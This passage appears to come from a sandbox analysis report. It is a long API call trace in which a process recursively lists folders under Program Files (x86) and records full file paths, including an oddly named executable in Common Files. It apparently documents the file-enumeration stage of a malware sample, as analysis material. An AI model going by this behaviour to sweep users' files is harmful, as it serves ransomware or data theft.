lpFindFileData=0x36eca0) returned 1 [0041.542] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0041.542] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.542] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0041.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0041.543] lstrcpyW (in: lpString1=0x920060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0041.543] lstrcpyW (in: lpString1=0x9200d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0041.543] lstrcpyW (in: lpString1=0x920150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="Resource") returned 8 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="Setup Files") returned 11 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="Vigtigt.htm") returned 11 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0041.543] lstrcpyW (in: lpString1=0x9201c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0041.543] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.543] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0041.543] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.543] lstrlenW (lpString="Viktig.htm") returned 10 [0041.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0041.543] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0041.543] lstrcpyW (in: lpString1=0x5ff798, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0041.544] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.544] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0041.544] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.544] lstrlenW (lpString="Viktigt.htm") returned 11 [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0041.544] lstrcpyW (in: lpString1=0x920240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0041.544] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.544] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.544] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.544] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0041.544] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.544] lstrlenW (lpString="Common Files") returned 12 [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0041.544] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.544] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.544] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.544] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0041.544] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.544] lstrlenW (lpString="Adobe") returned 5 [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0041.544] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0041.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0041.544] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.545] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.545] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.545] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.545] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.545] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0041.545] lstrlenW (lpString="Acrobat") returned 7 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0041.545] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.545] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0041.545] lstrlenW (lpString="ARM") returned 3 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0041.545] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.545] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0041.545] lstrlenW (lpString="HelpCfg") returned 7 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0041.545] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.545] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.545] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.545] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.545] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0041.545] lstrcpyW (in: lpString1=0x5ff808, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0041.545] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.545] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0041.545] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.545] lstrlenW (lpString="Java") returned 4 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0041.545] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0041.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0041.546] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.546] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.546] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0041.546] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0041.546] lstrlenW (lpString="Java Update") returned 11 [0041.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.546] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.546] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.546] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0041.546] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.546] lstrlenW (lpString="microsoft shared") returned 16 [0041.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0041.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0041.546] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0041.546] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.546] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.546] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0041.546] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.546] lstrlenW (lpString="DAO") returned 3 [0041.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0041.546] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.546] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0041.546] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="ink") returned 3 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="MSEnv") returned 5 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="MSInfo") returned 6 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="Stationery") returned 10 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="TextConv") returned 8 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0041.547] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0041.547] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.547] lstrlenW (lpString="Triedit") returned 7 [0041.547] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0041.547] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.547] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0041.548] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.548] lstrlenW (lpString="VC") returned 2 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0041.548] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.548] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0041.548] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.548] lstrlenW (lpString="VGX") returned 3 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0041.548] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.548] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0041.548] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.548] lstrlenW (lpString="VSTA") returned 4 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0041.548] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.548] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0041.548] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0041.548] lstrlenW (lpString="VSTO") returned 4 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0041.548] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.548] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.548] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.548] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0041.548] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.548] lstrlenW (lpString="Services") returned 8 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: 